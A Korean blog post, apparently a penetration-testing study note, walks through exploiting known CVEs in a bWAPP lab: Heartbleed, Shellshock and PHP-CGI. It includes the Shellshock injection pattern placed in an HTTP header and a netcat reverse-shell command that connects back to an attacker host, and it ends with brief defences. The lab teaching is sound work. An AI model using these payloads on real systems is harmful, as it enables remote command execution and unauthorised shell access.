-
모의해킹의 열한 번째 알려진 취약점을 이용한 공격웹 해킹 2021. 3. 23. 14:12
최근 개발 환경 추세에서는 오픈소스 라이브러리를 사용하는데, 오픈소스에서 발생하는 대부분의 취약점은 CVE 데이터베이스를 통해 공개된다. 공격자는 CVE 데이터베이스를 통해 알려진 취약점에 대한 정보를 쉽게 찾고 공격에 사용한다.
원래 취약점이 공개되면 CVE-[발견연도]-[일련번호]와 같은 CVE ID가 지정되어 관리된다.
하트블리드 취약점 공격 실습
하트블리드 취약점을 이용하면 공격자가 웹 서버 호스트의 메모리를 읽을 수 있게되어 사용자의 로그인 정보 및 그 밖에 노출되면 안되는 민감한 정보들을 탈취할 수 있다.
위 그림의 8443포트는 HTTPS 프로토콜로 접속해야 하는 포트이다.
위 그림에서 Confirm Security Exception 버튼을 눌러 예외처리를 한다.
그리고 다시 bWAPP에 접속한다.
쉘쇼크 취약점 공격과 리버스 쉘 실습
쉘쇼크는 bash 쉘의 취약점이다. 쉘쇼크는 시스템 환경변수에 특정 패턴의 문자열과 함께 임의의 명령어가 저장되어 있으면 쉘이 실행될 때 해당 명령어가 실행되는 취약점이다.
[예), () { :; }; <command> ]
env x='() {:;}; echo vulnerable' bash -c 'echo this is test'
위 명령어는 쉘쇼크 취약점이 공개될 때 취약 여부 테스트 명령어이다.
이 명령어는 x 환경변수에 쉘쇼크 공격 패턴과 명령어를 지정한 뒤 bash 쉘을 실행하여 지정한 명령어가 실행되는지 확인한다.
쉘쇼크 공격 실습을 해보겠다.
위 그림에서 마지막 두 줄은 쉘 스크립트의 실행 결과로 출력된 것을 알 수 있다.
shellshck.sh가 요청되면 bash에 의해 쉘 스크립트가 실행된다. shellshock.sh를 요청하는 요청 헤더에다가 쉘쇼크 공격 코드를 삽입하여 전송하면 원하는 명령을 실행할 수 있게된다.
리피터 헤더를 이용하여 공격코드를 입력한 후 shellshck.sh를 요청해 보겠다.
쉘쇼크 공격은 명령어 실행이 가능한 공격이다. 쉘을 획득하는 방법은 바인드 쉘과 리버스 쉘이 있는데 접속 방향에 따라 구분한다.
바인드 쉘은 공격자가 서버 쪽에 리스닝 포트를 열어 접속을 기다리도록 만든 후, 공격자가 클라이언트에서 서버로 접속하여 쉘을 획득하는 공격이다.
리버스 쉘은 공격 대상 쪽에서 공격자의 호스트로 접속하도록 만들어 리버스, 즉 역방향으로 쉘을 생성하는 공격 기법이다.(방화벽 우회 용도로 사용)
리버스 쉘을 생성시키기 위해 네트워크 통신을 위한 프로그램인 nc 명령어를 사용할 것이다.
nc <공격자 호스트 IP 주소> <포트번호> -e /bin/bash
이 명령어를 실행시켜, nc 명령어 뒤에 지정된 ip 주소와 포트로 접속하게 되는데, -e 옵션은 접속이 이루어진 후 실행할 명령어를 지정하는 옵션이다. 위 명령어 같은 경우에는 bash 쉘이 생성된다.
실습 과정을 설명하면,
1. 칼리 리눅스에서 nc를 서버 모드로 실행한다.
2. 요청 메세지의 레퍼러 헤더에 쉘쇼크 공격 패턴을 삽입 후, nc를 클라이언트 모드로 실행하여 칼리 리눅스에 접속한다.
3. 접속으로 생성된 쉘을 통해 포스트 익스플로잇을 수행한다.
() { :;}; 쉘쇼크 공격 패턴 뒤에 nc를 이용하여 4000번 포트로 접속하도록 한다. shellshock.sh이 실행될 때 PATH 환경 변수 설정이 되어 있지 않아서 전체 경로를 입력하려고 /bin/nc를 입력했다.
메타스플로잇을 활용한 PHP-CGI 취약점 공격
소스코드 노출
메타스플로잇을 이용한 공격
알려진 취약점 공격 대응
OWASP Dependency-Check, IoTcube를 이용하여 대응한다.
위 글은 화이트 해커를 위한 웹 해킹의 기술을 참고했습니다.
'웹 해킹' 카테고리의 다른 글
모의해킹의 열두 번째 자바 역직렬화 취약점 공격 (0) 2021.03.25 모의해킹의 열 번째 XXE 공격 (0) 2021.03.22 모의해킹의 아홉 번째 접근 통제 취약점 공격 (0) 2021.03.19 모의해킹의 여덟 번째 민감한 데이터 노출 (0) 2021.03.18 모의해킹의 일곱 번째 파일 공격 (0) 2021.03.17